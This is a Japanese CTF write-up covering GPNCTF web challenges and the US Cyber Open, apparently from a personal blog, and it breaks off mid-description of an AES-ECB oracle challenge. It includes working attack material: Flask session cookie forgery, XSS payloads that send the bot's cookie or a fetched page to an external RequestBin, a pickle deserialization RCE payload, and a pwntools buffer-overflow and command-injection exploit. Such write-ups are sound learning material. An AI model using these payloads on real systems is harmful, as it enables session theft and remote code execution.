FLASK_APP_SECRET_KEY=6a49526ee01dbd3111d8e0ab3f5d8c5de82593193571f807b8892dc891c464106193a798ef00d007d7460effe74158ff6969
FLAG_STAGE_1=GPNCTF{flag_stage_1_the_real_flag_will_be_on_the_provided_instance}

FLASK_APP_SECRET_KEYからmoderator用のクッキーを生成する。

$ flask-unsign --sign --secret '6a49526ee01dbd3111d8e0ab3f5d8c5de82593193571f807b8892dc891c464106193a798ef00d007d7460effe74158ff6969' --cookie '{"user": {"username": "moderator", "role": "moderator"}}'
.eJyrViotTi1SsqoG03mJualKVkq5-SmpRYkl-UVKOkpF-TmoQrW1AOa9Eoo.aFVbsQ.KAe5VX-yof6GAOCuy5L3q6pNC90

これをクッキーのsessionに設定し、リロードすると、moderatorになれる。
https://portfield-of-epic-fortune.gpn23.ctf.kitctf.de/moderatorのページを見るとMy Juicy Noteのノートにフラグが書いてあった。

GPNCTF{forgE_D15_JU1CY_Mod}

Intro to web - Part 3 (Web)

3つ目のフラグはbotのクッキーに含まれている。
まず、Part 1の方法で、FLASK_APP_SECRET_KEYを入手する。

$ curl https://ironford-of-nuclear-grade-glory.gpn23.ctf.kitctf.de/note/new -b "session=.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJCM_PVWpthYAMgcOUg.aFXlcA.Ae7lB0luvLRO76KacWrBQawD0t0" -d "title=env&content=get_env&image_path=.env"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/note/bbd65b6b-4bab-4c7f-a3b6-69e8480e3387">/note/bbd65b6b-4bab-4c7f-a3b6-69e8480e3387</a>. If not, click the link.

https://ironford-of-nuclear-grade-glory.gpn23.ctf.kitctf.de/note/bbd65b6b-4bab-4c7f-a3b6-69e8480e3387にアクセスし、base64文字列を取得する。取得したbase64文字列をデコードする。

$ echo RkxBU0tfQVBQX1NFQ1JFVF9LRVk9ZDY3MTZhOGMwZWNkNDkyZWY3OGQwOWFiZjg0YjI0ZWE5Yjk0YTBmMDA2MTM5ODE4MzljMWEzODA0ZTFlZDAwMTNiN2E5YzM2MDg5ZWZhODExYzhlMWEzZjY4NzlkMjc4NmZmZgpGTEFHX1NUQUdFXzE9R1BOQ1RGe2ZsYWdfc3RhZ2VfMV90aGVfcmVhbF9mbGFnX3dpbGxfYmVfb25fdGhlX3Byb3ZpZGVkX2luc3RhbmNlfQo= | base64 -d
FLASK_APP_SECRET_KEY=d6716a8c0ecd492ef78d09abf84b24ea9b94a0f00613981839c1a3804e1ed0013b7a9c36089efa811c8e1a3f6879d2786fff
FLAG_STAGE_1=GPNCTF{flag_stage_1_the_real_flag_will_be_on_the_provided_instance}

FLASK_APP_SECRET_KEYからadmin用のクッキーを生成する。

$ flask-unsign --sign --secret 'd6716a8c0ecd492ef78d09abf84b24ea9b94a0f00613981839c1a3804e1ed0013b7a9c36089efa811c8e1a3f6879d2786fff' --cookie '{"user": {"username": "admin", "role": "admin"}}'
.eJyrViotTi1SsqoG03mJualKVkqJKbmZeUo6SkX5OQhubS0AVKsPAg.aFXl_g.jaFyhwobxWLojiWyP2FP_3KPcf8

これをクッキーのsessionに設定し、リロードすると、adminになれる。

テンプレートのreport_note.htmlを見ると、以下のように"|safe"が付いている。

<p>Report reason: {{ note.reason|safe }}</p>

ここにXSSを埋め込み、botに踏んでもらい、外部サーバに送ってもらえば良さそう。
以下を入力し、Report Noteボタンを押す。

<script>window.location.replace("https://[RequestBinドメイン]/?cookie="+document.cookie)</script>

すると、RequestBinにアクセスが来ており、botのクッキーがわかる。

GPNCTF{1_LOvE_stOL3n_co0KiEs}

Intro to web - Part 4 (Web)

4つ目のフラグは/developmentへアクセスできれば良い。ただし、moderatorである必要があり、SHOW_DEVELOPMENT_ROUTESがTrueである必要がある。このためには、/settingsで設定する必要があり、adminである必要がある。
まず、Part 1の方法で、FLASK_APP_SECRET_KEYを入手する。

$ curl https://greenville-of-bombastic-sunlight.gpn23.ctf.kitctf.de/note/new -b "session=.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJDElNzNPqbYWAECoDrg.aFYGVw.NHWC7PJlGx-hnnNe7IVIEwnLK-U" -d "title=env&content=get_env&image_path=.env"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/note/466285db-c903-451d-aab1-5b8eb8547a6e">/note/466285db-c903-451d-aab1-5b8eb8547a6e</a>. If not, click the link.

https://greenville-of-bombastic-sunlight.gpn23.ctf.kitctf.de/note/466285db-c903-451d-aab1-5b8eb8547a6eにアクセスし、base64文字列を取得する。取得したbase64文字列をデコードする。

$ echo RkxBU0tfQVBQX1NFQ1JFVF9LRVk9YTk1YTdiMDE0NjY2NjFiNDMxNmFlMTU1OGUwNzQwMmVmZTU4MjBhMmY0Y2VhOGU4YTBkMjZkZTdmMDAxOWI0NzdiMzM5YWNhZDFiYjFjMTcyZjZlZDcxZmYyMjk1MWJkYTkxNwpGTEFHX1NUQUdFXzE9R1BOQ1RGe2ZsYWdfc3RhZ2VfMV90aGVfcmVhbF9mbGFnX3dpbGxfYmVfb25fdGhlX3Byb3ZpZGVkX2luc3RhbmNlfQo= | base64 -d
FLASK_APP_SECRET_KEY=a95a7b01466661b4316ae1558e07402efe5820a2f4cea8e8a0d26de7f0019b477b339acad1bb1c172f6ed71ff22951bda917
FLAG_STAGE_1=GPNCTF{flag_stage_1_the_real_flag_will_be_on_the_provided_instance}

FLASK_APP_SECRET_KEYからadmin用のクッキーを生成する。

$ flask-unsign --sign --secret 'a95a7b01466661b4316ae1558e07402efe5820a2f4cea8e8a0d26de7f0019b477b339acad1bb1c172f6ed71ff22951bda917' --cookie '{"user": {"username": "admin", "role": "admin"}}'
.eJyrViotTi1SsqoG03mJualKVkqJKbmZeUo6SkX5OQhubS0AVKsPAg.aFYG2Q.DfOiyJIMVZkyEjec5CPMJpMsOcY

これをクッキーのsessionに設定し、リロードすると、adminになれる。
botのクッキーをRequestBinに送信させたいが、ADMIN_PASSWORDはhttpOnly: trueとなっているので、JavaScriptは使えない。
ADMIN_PASSWORDを取得しないで、botにいろいろアクセスさせ、FLAG_STAGE_4を取得する方法を考える。
botはadminとして動作できる条件を満たしているので、以下の順序で取得できる可能性がある。

・/settingsでSHOW_DEVELOPMENT_ROUTESをTrueにする。
・/developmentで取得したデータをRequestBinに送信する。

以下を入力し、Report Noteボタンを押す。

<script>(async () => { await fetch('/settings', { method: 'POST',headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ show_development_routes: true }) }); await new Promise(resolve => setTimeout(resolve, 1000)); const flag = await fetch('/development').then(r => r.text()); await fetch('https://<RequestBinドメイン>/', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: flag }); })();</script>

すると、RequestBinにアクセスが来ており、4つ目のフラグがわかる。

GPNCTF{wELLComE_DeV3LoP3R}

Intro to web - Part 5 (Web)

5つ目のフラグはflag_{uuid4().hex + uuid4().hex + uuid4().hex}.txtの形式のファイルに書かれている。/development/cookie-verifyを見ると、pickle.loadsが使われている。これで上記のファイルが読めないか考える。
攻撃コードを作成する。

#!/usr/bin/env python3
import os
import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('cp flag_*.txt .img/stolen.txt',))

print(base64.b64encode(pickle.dumps([Exploit()])).decode())

この結果以下の通りとなる。

gASVOwAAAAAAAABdlIwFcG9zaXiUjAZzeXN0ZW2Uk5SMHWNwIGZsYWdfKi50eHQgLmltZy9zdG9sZW4udHh0lIWUUpRhLg==

/development/cookie-verifyを使うためには、moderatorである必要があり、SHOW_DEVELOPMENT_ROUTESがTrueである必要がある。このためには、/settingsで設定する必要があり、adminである必要がある。
まず、Part 1の方法で、FLASK_APP_SECRET_KEYを入手する。

$ curl https://stormforge-of-epic-hope.gpn23.ctf.kitctf.de/note/new -b "session=.eJyrViotTi1SsqpWKsrPSVWygnB1wFReYi5IJCM_PVWpthYAMgcOUg.aFYmVw.s7rlS_z99tjpTLhB9__VcHbXqa4" -d "title=env&content=get_env&image_path=.env"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/note/ec19d13b-0368-4dd8-aa7d-103fdefd7219">/note/ec19d13b-0368-4dd8-aa7d-103fdefd7219</a>. If not, click the link.

https://stormforge-of-epic-hope.gpn23.ctf.kitctf.de/note/ec19d13b-0368-4dd8-aa7d-103fdefd7219にアクセスし、base64文字列を取得する。取得したbase64文字列をデコードする。

$ echo RkxBU0tfQVBQX1NFQ1JFVF9LRVk9OWE0ZDMyZjE4YWEyZmM3MjI2MDI3NmE5YWI3NDI3MDRhYzQ4NWI0YWZhYjBkODc0YTRiMDQ3ZTRhMjVkN2UzOTJjOTUyNmI5ODNhMGQ0Y2FlNjQ1YzBkMTFkNzZlMjJkYzQ1NQpGTEFHX1NUQUdFXzE9R1BOQ1RGe2ZsYWdfc3RhZ2VfMV90aGVfcmVhbF9mbGFnX3dpbGxfYmVfb25fdGhlX3Byb3ZpZGVkX2luc3RhbmNlfQo= | base64 -d
FLASK_APP_SECRET_KEY=9a4d32f18aa2fc72260276a9ab742704ac485b4afab0d874a4b047e4a25d7e392c9526b983a0d4cae645c0d11d76e22dc455
FLAG_STAGE_1=GPNCTF{flag_stage_1_the_real_flag_will_be_on_the_provided_instance}

FLASK_APP_SECRET_KEYからadmin用のクッキーを生成する。

$ flask-unsign --sign --secret '9a4d32f18aa2fc72260276a9ab742704ac485b4afab0d874a4b047e4a25d7e392c9526b983a0d4cae645c0d11d76e22dc455' --cookie '{"user": {"username": "admin", "role": "admin"}}'
.eJyrViotTi1SsqoG03mJualKVkqJKbmZeUo6SkX5OQhubS0AVKsPAg.aFYmzg.L5VzAS_DgdI3mDkN9Y8B-_dWi7c

これをクッキーのsessionに設定し、リロードすると、adminになれる。
Part 4の方法で、botはadminとして動作できる条件を満たしているので、以下の順序で取得できる可能性がある。

・/settingsでSHOW_DEVELOPMENT_ROUTESをTrueにする。
・/development/cookie-verifyでflag_{uuid4().hex + uuid4().hex + uuid4().hex}.txtを.img/stolen.txtにコピーする。
・.img/stolen.txtを読み込む。

以下を入力し、Report Noteボタンを押す。

<script>(async () => { await fetch('/settings', { method: 'POST',headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ show_development_routes: true }) }); await new Promise(resolve => setTimeout(resolve, 1000)); fetch('/development/cookie-verify', { method: 'POST',headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ cookie: 'gASVOwAAAAAAAABdlIwFcG9zaXiUjAZzeXN0ZW2Uk5SMHWNwIGZsYWdfKi50eHQgLmltZy9zdG9sZW4udHh0lIWUUpRhLg==' }) }); })();</script>
$ curl https://stormforge-of-epic-hope.gpn23.ctf.kitctf.de/note/new -b "session=.eJyrViotTi1SsqoG03mJualKVkqJKbmZeUo6SkX5OQhubS0AVKsPAg.aFYmzg.L5VzAS_DgdI3mDkN9Y8B-_dWi7c" -d "title=flag&content=get_flag&image_path=.img/stolen.txt"
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/note/8e815c04-2f26-44db-be8f-aebd44fd7e22">/note/8e815c04-2f26-44db-be8f-aebd44fd7e22</a>. If not, click the link.

https://stormforge-of-epic-hope.gpn23.ctf.kitctf.de/note/8e815c04-2f26-44db-be8f-aebd44fd7e22にアクセスし、base64文字列を取得する。取得したbase64文字列をデコードする。

$ echo R1BOQ1RGe3JDZV9JNV8zdkVSWTdoaW5HfQ== | base64 -d
GPNCTF{rCe_I5_3vERY7hinG}
GPNCTF{rCe_I5_3vERY7hinG}

Season V, US Cyber Open Competitive CTF Writeup

この大会は2025/6/7 6:30(JST)~2025/6/20 9:00(JST)に開催されました。
この大会は個人戦。結果は2428点で982人中47位でした。
自分で解けた問題をWriteupとして書いておきます。

Read The Rules (Warmup)

ルールのページのフラグのパターンの説明に以下のように書いてあった。

Warmup Challenge: SVUSCG{Y0u_r34d_th3_ru135}
SVUSCG{Y0u_r34d_th3_ru135}

Discord (Warmup)

Discordに入り、#open-generalチャネルのトピックを見ると、以下のように書いてあり、フラグが含まれていた。

This is the general hangout space!           ----------------------------------------------------------------------------------         

I lead the hunt, but don’t play games,
Tsuto’s the handle, but 'Coach' is the name.
A flag is earned when minds agree—
We're here for the love of cybersecurity!
SVUSCG{c0mmun1c4t1on_1s_th3_k3y}.
SVUSCG{c0mmun1c4t1on_1s_th3_k3y}

Drive Discovery (Forensics) (Beginner's Game Room)

FTK Imagerで開き、[root]-[Secrets]を見ると、flag.txtがあり、以下のように書いてあった。

U1ZCUkd7ZDNsMzczZF9uMDdfZjByNjA3NzNuXzI4MzAyOTM4Mn0=

base64デコードする。

$ echo U1ZCUkd7ZDNsMzczZF9uMDdfZjByNjA3NzNuXzI4MzAyOTM4Mn0= | base64 -d         
SVBRG{d3l373d_n07_f0r60773n_283029382}
SVBRG{d3l373d_n07_f0r60773n_283029382}

Charlie (Forensics) (Beginner's Game Room)

$ binwalk charlie.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
4477372       0x4451BC        Zip archive data, at least v2.0 to extract, compressed size: 16938, uncompressed size: 70636, name: flag.txt
4494454       0x449476        End of Zip archive, footer length: 22

後ろにzipらしきものがあるので、切り出す。

$ dd bs=1 skip=4477372 if=charlie.jpg of=flag.zip
17104+0 records in
17104+0 records out
17104 bytes (17 kB, 17 KiB) copied, 1.80563 s, 9.5 kB/s

zipファイルを解凍し、内容を確認する。

$ unzip flag.zip 
Archive:  flag.zip
  inflating: flag.txt
$ cut -c 1-20 flag.txt
/9j/4AAQSkZJRgABAQAA

jpgのbase64データが入っているようなので、デコードして保存する。

$ cat flag.txt | base64 -d > flag.jpg

jpg画像にフラグが書いてあった。

SVBGR{B1NW4LK_F7N}

Silent Signal (Forensics) (Beginner's Game Room)

ICMPの通信のみがあるが、すべて同じ通信になっている。異なるのはTimeのみで、整数値になっている。
パケット送信の時間間隔をASCIIコードとしてデコードする。

>>> s = [83 - 0, 169 - 83, 235 - 169, 317 - 235, 388 - 317, 511 - 388, 627 - 511, 732 - 627, 841 - 732, 892 - 841, 987 - 892, 1103 - 987, 1217 - 1103, 1269 - 1217, 1387 - 1269, 1438 - 1387, 1546 - 1438, 1641 - 1546, 1759 - 1641, 1808 - 1759, 1905 - 1808, 2000 - 1905, 2112 - 2000, 2161 - 2112, 2271 - 2161, 2374 - 2271, 2499 - 2374]
>>> ''.join([chr(c) for c in s])
'SVBRG{tim3_tr4v3l_v1a_p1ng}'
SVBRG{tim3_tr4v3l_v1a_p1ng}

End of The Line (Forensics) (Beginner's Game Room)

Audacityで開くと、モールス信号のようになっている。

... -.- .-.- --- .-. --.- - .. .-.- -. ..- -.. -. .-- .-. ...- -... ...

https://morsecode.world/international/translator.htmlでデコードしてみる。

SKÆORQTIÆNUDNWRVBS

ASCII文字でデコードできなかった。モールス信号を前後逆転してみる。

... ...- -... .-. --. .- ..- -.. .- -.-. .. - -.-- .-. --- -.-. -.- ...

今度はこのモールス信号をhttps://morsecode.world/international/translator.htmlでデコードしてみる。

SVBRGAUDACITYROCKS
SVBRG{AUDACITYROCKS}

Echo (Forensics) (Beginner's Game Room)

$ strings Echo.jpg | grep SVBRG                     
SVBRG{HEXEDITING}
SVBRG{HEXEDITING}

FinalCorruptZip (Forensics) (Beginner's Game Room)

zipの先頭1バイトが壊れているので、修復する。

41 -> 50

修復したzipを解凍すると、CorruptPNG.pngが展開された。
pngの先頭2バイト目から4バイト目が壊れているので、修復する。

4c 4f 4c -> 50 4e 47

修復したpng画像にフラグが書いてあった。

SVBGR{m4g1C_B1t3s_yUmmmmm}

Donut (Pwn) (Beginner's Game Room)

Ghidraでデコンパイルする。

int main(void)

{
  long in_FS_OFFSET;
  int choice;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  donuts = 0;
  puts("Welcome to the donut shop!");
  puts("Please enter your timezone so that we can tailor your experience for today:");
  printf("> ");
  gets(timezone);
  printf("Timezone set to %s!\n",timezone);
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          menu();
          printf("> ");
          __isoc99_scanf(&DAT_0010204a,&choice);
          if (choice != 1) break;
          buy();
        }
        if (choice != 2) break;
        earn();
      }
      if (choice != 3) break;
      maintenance();
    }
    if (choice == 4) break;
    puts("Unknown choice!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

void buy(void)

{
  long in_FS_OFFSET;
  int order;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("You have %d dollars\n",(ulong)(uint)money);
  puts("How many donuts would you like to buy?");
  printf("> ");
  __isoc99_scanf(&DAT_0010204a,&order);
  if (order < 1) {
    puts("Invalid amount of donuts!");
  }
  else if (money + order * -0x32 < 0) {
    puts("Not enough money!");
  }
  else {
    donuts = order + donuts;
    money = money + order * -0x32;
    printf("Bought %d donuts. Your balance is now %d.\n",(ulong)(uint)donuts,(ulong)(uint)money);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void earn(void)

{
  long in_FS_OFFSET;
  int target;
  int guess;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  getrandom(&target,4,0);
  puts("What is your guess?");
  printf("> ");
  __isoc99_scanf(&DAT_0010204a,&guess);
  if (guess == target) {
    puts("Correct! You get $50");
    money = money + 0x32;
  }
  else {
    puts("Oops, you lost half of your money!");
    money = money / 2;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void maintenance(void)

{
  long lVar1;
  long in_FS_OFFSET;
  char cmd [100];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (donuts == -0x35014542) {
    puts("Welcome to the admin panel!");
    puts("Date:");
    snprintf(cmd,100,"date --date=\'TZ=\"%s\"\'",timezone);
    system(cmd);
    puts("What would you like to set your balance to?");
    printf("> ");
    __isoc99_scanf(&DAT_0010204a,&money);
    puts("Balance set!");
  }
  else {
    puts("You aren\'t authorized to access this!");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

                             timezone                                        XREF[7]:     Entry Point(*), 
                                                                                          maintenance:00101488(*), 
                                                                                          maintenance:0010148f(*), 
                                                                                          main:001015f1(*), 
                                                                                          main:001015f8(*), 
                                                                                          main:00101605(*), 
                                                                                          main:0010160c(*)  
        00104020 41 6d 65        char[32]   "America/Los_Angeles"
                 72 69 63 
                 61 2f 4c 
           00104020 [0]            'A', 'm', 'e', 'r',
           00104024 [4]            'i', 'c', 'a', '/',
           00104028 [8]            'L', 'o', 's', '_',
           0010402c [12]           'A', 'n', 'g', 'e',
           00104030 [16]           'l', 'e', 's', 00h,
           00104034 [20]           00h, 00h, 00h, 00h,
           00104038 [24]           00h, 00h, 00h, 00h,
           0010403c [28]           00h, 00h, 00h, 00h
                             money                                           XREF[12]:    Entry Point(*), buy:00101264(R), 
                                                                                          buy:001012dc(R), buy:00101310(R), 
                                                                                          buy:00101318(W), buy:0010131e(R), 
                                                                                          earn:001013de(R), 
                                                                                          earn:001013e7(W), 
                                                                                          earn:001013fe(R), 
                                                                                          earn:0010140d(W), 
                                                                                          maintenance:001014da(*), 
                                                                                          maintenance:001014e1(*)  
        00104040 32 05 00 00     int        532h                                             donut.c:5
                             donuts                                          XREF[6]:     Entry Point(*), buy:001012f9(R), 
                                                                                          buy:00101304(W), buy:00101324(R), 
                                                                                          maintenance:00101445(R), 
                                                                                          main:001015b5(W)  
        00104044 01 00 00 00     int        1h                                               donut.c:7
 

timezoneで入力したものがmaintenance関数でコマンドに結合して実行されるので、コマンドインジェクションが可能。そのためにdonutsの値を-0x35014542(=0xcafebabe(=3405691582))にする必要がある。
timezoneでの入力はBOF脆弱性があり、moneyやdonutsを上書き可能で、donutsの値を0xcafebabeにすればよい。
コマンドは色々変えていく。

・"ls"の場合
run

・"pwd"の場合
/app

・"ls -l ../"の場合
total 60
drwxr-xr-x   1 nobody nogroup 4096 Jun  6 22:24 app
lrwxrwxrwx   1 nobody nogroup    7 May 30 19:42 bin -> usr/bin
drwxr-xr-x   2 nobody nogroup 4096 Apr 18  2022 boot
drwxrwxrwt   2 nobody nogroup  100 Jun  6 22:36 dev
drwxr-xr-x  32 nobody nogroup 4096 May 30 19:49 etc
-rw-r--r--   1 nobody nogroup   42 Jun  6 22:17 flag.txt
drwxr-xr-x   2 nobody nogroup 4096 Apr 18  2022 home
lrwxrwxrwx   1 nobody nogroup    7 May 30 19:42 lib -> usr/lib
lrwxrwxrwx   1 nobody nogroup    9 May 30 19:42 lib32 -> usr/lib32
lrwxrwxrwx   1 nobody nogroup    9 May 30 19:42 lib64 -> usr/lib64
lrwxrwxrwx   1 nobody nogroup   10 May 30 19:42 libx32 -> usr/libx32
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 media
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 mnt
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 opt
dr-xr-xr-x 253 nobody nogroup    0 Jun  9 00:11 proc
drwx------   2 nobody nogroup 4096 May 30 19:49 root
drwxr-xr-x   5 nobody nogroup 4096 May 30 19:49 run
lrwxrwxrwx   1 nobody nogroup    8 May 30 19:42 sbin -> usr/sbin
drwxr-xr-x   2 nobody nogroup 4096 May 30 19:42 srv
drwxr-xr-x   2 nobody nogroup 4096 Apr 18  2022 sys
drwxrwxrwt   2 nobody nogroup 4096 May 30 19:49 tmp
drwxr-xr-x  14 nobody nogroup 4096 May 30 19:42 usr
drwxr-xr-x  11 nobody nogroup 4096 May 30 19:49 var

これでflag.txtの場所がわかったので、コマンドを"cat ../flag.txt"にして実行する。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('pwn.ctf.uscybergames.com', 5000)
else:
    p = process('./donut')

payload = b'N"\'; cat ../flag.txt; \'"'
payload += b'\x00' * (32 - len(payload))
payload += b'A' * 4
payload += p32(0xcafebabe)

data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)

data = p.recvuntil(b'> ').decode()
print(data + '3')
p.sendline(b'3')
for _ in range(3):
    data = p.recvline().decode().rstrip()
    print(data)
data = p.recvrepeat(1).decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to pwn.ctf.uscybergames.com on port 5000: Done
Welcome to the donut shop!
Please enter your timezone so that we can tailor your experience for today:
> b'N"\'; cat ../flag.txt; \'"\x00\x00\x00\x00\x00\x00\x00\x00AAAA\xbe\xba\xfe\xca'
Timezone set to N"'; cat ../flag.txt; '"!
Options:
1. Buy a donut
2. Earn money to use in the shop
3. Maintenance
4. Exit
> 3
Welcome to the admin panel!
Date:
Mon Jun  9 00:00:00 UTC 2025
SVBGR{my_fav0rIte_fl4vor_1s_Or3o_54ac91c0}sh: 1: "": not found
What would you like to set your balance to?
>
[*] Closed connection to pwn.ctf.uscybergames.com port 5000
SVBGR{my_fav0rIte_fl4vor_1s_Or3o_54ac91c0}

アクセスすると、クッキーのcookieに以下が設定されている。

QWZ0ZXIgaW5zcGVjdGluZyB0aGUgY29udGVudHMsIGhlJ2xsIGhvcCBvbiB0aGUgUk9CT1QgdmFjY3V1bSBwaWNraW5nIHVwIHRoZSBjcnVtYnMgaGUgbWFkZS4KQ3J1bWIgMTogZFY5Q1FHc3paRjloVA==

base64デコードする。

$ echo QWZ0ZXIgaW5zcGVjdGluZyB0aGUgY29udGVudHMsIGhlJ2xsIGhvcCBvbiB0aGUgUk9CT1QgdmFjY3V1bSBwaWNraW5nIHVwIHRoZSBjcnVtYnMgaGUgbWFkZS4KQ3J1bWIgMTogZFY5Q1FHc3paRjloVA== | base64 -d
After inspecting the contents, he'll hop on the ROBOT vaccuum picking up the crumbs he made.
Crumb 1: dV9CQGszZF9hT

https://myksfwlv.web.ctf.uscybergames.com/robots.txtにアクセスすると、以下のように表示された。

User-agent: *
Disallow: /admin

# The robot vaccuum arrives at a locked door, which naturally he'll want to get inside
# Crumb 2: jB0SDNSX2MwMG

https://myksfwlv.web.ctf.uscybergames.com/adminにアクセスすると、ログイン画面になった。
HTMLソースを見ると、以下のように書いてある。

    <script>
        const ADMIN_USER = 'admin';
        const CRUMB_3 = 'sxM19mT3JfZEF';
        function login() {
            const user = document.getElementById('username').value;
            const pass = document.getElementById('password').value;
            if (user === ADMIN_USER && pass === CRUMB_3) {
                window.location.href = '/kitchen';
            } else {
                document.getElementById('error').style.display = 'block';
            }
        }
    </script>

admin / sxM19mT3JfZEFでログインすると、/kitchen/のindex表示がされているので、各パスを見ていく。
https://myksfwlv.web.ctf.uscybergames.com/kitchen/floor/aNoteFallenFromTheFridge.txtを見ると、以下のように書いてある。

Steps to making my Fully Layered And Golden (FLAG) Cookie Recipe:

Ingredients:
- 4 Crumbs 
- Butter
- Flour
- Sugar

Tools:
- Cookie Editor
- Large Mixing Bowl
- Sheet Pan
- Oven

Instructions:
1) Preheat oven to 320 degrees.
2) Assemble all 4 crumbs in order from 1 to 4. 
3) Place assembled crumbs into the oven for 20 minutes to bake into a cookie.
4) Decode the assembled cookie using Base64 until nice and golden.
4) Use Cookie Editor to edit the original cookie with our new assembled cookie.
5) Refresh the home page.
6) Enjoy your FLAG cookie~!

どうやら4つのCrumbが必要なので、あと1つあるはず。

https://myksfwlv.web.ctf.uscybergames.com/kitchen/refrigerator/Milk.jsを見ると、以下のように書いてある。

// If he asks for a glass of milk, he's going to want a cookie to go with it.

function pourMilk() {
    console.log("Pouring a fresh glass of milk... 🥛");
}

//TODO: Follow cookie instructions written on NOTE in /kitchen
function bakeCookie() {
    var crumb4 = "fTW9VNWUhISE=";

    return false;
}

pourMilk();

Crumb 4まで見つかったので、結合してbase64デコードする。

$ echo dV9CQGszZF9hTjB0SDNSX2MwMGsxM19mT3JfZEFfTW9VNWUhISE= | base64 -d
u_B@k3d_aN0tH3R_c00k13_fOr_dA_MoU5e!!!

これをクッキーのcookie設定し、ホームのページをリロードすると、フラグが表示された。

SVBRG{he_w1ll_g!v3_y0u_A_fL@g_a5_tH4nk5!}

LEET (Crypto) (Beginner's Game Room)

同じ鍵で2つの平文がXORされている。https://github.com/SpiderLabs/cribdragのツール(Python2)を使って、推測しながら復号する。

$ python2 xorstrings.py 5c623c61545f63270c4047724e114d52794e16485f7b4e034433652b1744527b2b0520 40612c0653687b270649477e20065e4667311549566823044f4c7e201e435f762d0a7c
1c031067073718000a09000c6e1713141e7f030109136d070b7f1b0b09070d0d060f5c
$ python2 cribdrag.py 1c031067073718000a09000c6e1713141e7f030109136d070b7f1b0b09070d0d060f5c
Your message is currently:
0       ___________________________________
Your key is currently:
0       ___________________________________
Please enter your crib: OUR 
*** 0: "SVB"
*** 1: "LE5"
2: "_2U"
3: "(Re"
*** 4: "HbJ"
*** 5: "xMR"
*** 6: "WUX"
7: "O_["
8: "E\R"
9: "FU^"
10: "OY<"
*** 11: "C;E"
*** 12: "!BA"
*** 13: "XFF"
14: "\AL"
15: "[K-"
16: "Q*Q"
*** 17: "0VS"
18: "LT["
19: "N\A"
*** 20: "FF?"
21: "\8U"
*** 22: ""RY"
23: "H^-"
24: "D*I"
*** 25: "0NY"
26: "T^["
27: "D\U"
28: "FR_"
29: "HX_"
*** 30: "BXT"
31: "BS]"
32: "IZ"
Enter the correct position, 'none' for no match, or 'end' to quit: 0
Is this crib part of the message or key? Please enter 'message' or 'key': message
Your message is currently:
0       OUR________________________________
Your key is currently:
0       SVB________________________________
        :
        :
Your message is currently:
0       OUR ULTIMATE PLAN WILL BE ________!
Your key is currently:
0       SVBGR{LIGHTING_UP_THE_MEN_________}

ここまで来たがわからない。
keyを見てみてみる。どちらの暗号がどちらのものかわからないので、両方見てみる。

>>> s1 = bytes.fromhex('5c623c61545f63270c4047724e114d52794e16485f7b4e034433652b1744527b2b0520')
>>> s2 = bytes.fromhex('40612c0653687b270649477e20065e4667311549566823044f4c7e201e435f762d0a7c')
>>> pt1 = b'SVBGR{LIGHTING_UP_THE_MEN_'
>>> strxor(pt1, s1[:len(pt1)])
b'\x0f4~&\x06$/nK\x08\x13;\x00V\x12\x07)\x11B\x00\x1a$\x03F\nl'
>>> strxor(pt1, s2[:len(pt1)])
b'\x137nA\x01\x137nA\x01\x137nA\x01\x137nA\x01\x137nA\x01\x13'

SVBGR{LIGHTING_UP_THE_MEN_________}の方の暗号はs2の方の暗号であるとすると暗号鍵"\x137nA\x01"の繰り返しになっている。
これを元に復号する。

>>> ''.join([chr(s2[i] ^ key[i % len(key)]) for i in range(len(s2))])
'SVBGR{LIGHTING_UP_THE_MEN_IN_BLACK}'
SVBGR{LIGHTING_UP_THE_MEN_IN_BLACK}

Block Blast (Crypto) (Beginner's Game Room)

サーバの処理概要は以下の通り。

・BLOCK_SIZE = 16
・FLAG_PATH = "./flag.txt"
・FLAG: FLAG_PATHの内容
・KEY: ランダム16バイト文字列
・以下繰り返し
 ・data: 入力
 ・line = data.strip()
 ・lineが空や"exit"の場合、繰り返し終了
 ・user_bytes: lineをhexデコード
 ・ct = encrypt_oracle(user_bytes)
  ・plaintext = user_bytes + FLAG
  ・padded: plaintextの長さが16バイトの倍数になるようパディング
  ・paddedをKEYを使ってAES ECBモード暗号化したものを返却
